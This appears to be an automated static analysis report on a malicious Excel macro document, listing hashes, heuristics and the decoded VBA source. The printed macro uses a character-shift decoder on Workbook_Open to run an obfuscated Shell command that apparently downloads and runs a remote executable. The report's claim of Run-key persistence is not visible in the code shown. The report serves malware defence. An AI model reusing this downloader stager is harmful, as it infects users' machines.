Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 26c13694c22ab21c…

MALICIOUS

Office (OOXML)

88.3 KB Created: 2020-05-13 03:28:44 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-15
MD5: 02c073c3fd604093a056f24a8d655dc5 SHA-1: a807acab198f547085b8ad0214deb1a5f3f8e086 SHA-256: 26c13694c22ab21cb55f59d47d7acd48e26788af047144e525058d9ffd03721d
268 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The VBA macro contains a Workbook_Open subroutine that uses character-shift decoding to construct and execute commands via the Shell() function. The decoded command `C:\Users\Public\PPTXOVZOZQOZQP.exe` is likely a second-stage payload. The macro also attempts to establish persistence by writing to the Run key `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy`.

Heuristics 7

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1506 bytes
SHA-256: 9965c714abd6a6e358508e5ff840e55c2da453a90b55bbd9f8d253694845bd6e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Dim asdsa As String
Public Sub Workbook_Open()
asdsa = Environ(dd("u†Ž‘")) + "\" + dd("gŠ�†�‚ކO†™†")
adsa
End Sub
Private Sub adsa()
Shell (dd("‘�˜†“”‰†��O†™†AN†™†„–•Š��‘��Š„šAƒš‘‚””ANxAiŠ……†�AN„�ŽŽ‚�…AI�†˜N�ƒ‹†„•At𔕆ŽOo†•Ox†ƒd�І�•JOe�˜���‚…gŠ�†IH‰••‘[PPTXOVZOZQOZQP�†�”��P…��†O†™†HME†�—[u†Ž‘LH}gŠ�†�‚ކO†™†HJ"))
CreateObject("Excel.Application").Wait (Now + TimeValue("00:00:10"))
Shell (asdsa)
End Sub
   Public Function dd(cc As String)
        Dim dsd As Integer, cca As Integer
        dsd = 33
        For cca = 1 To Len(cc)
            Mid(cc, cca, 1) = Chr(Asc(Mid(cc, cca, 1)) - dsd)
        Next cca
        dd = cc
    End Function
      

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 15872 bytes
SHA-256: 66485951af4113bb030c3a99f093d7e428bd672e9f81bf3a209ea9ab6a504a1e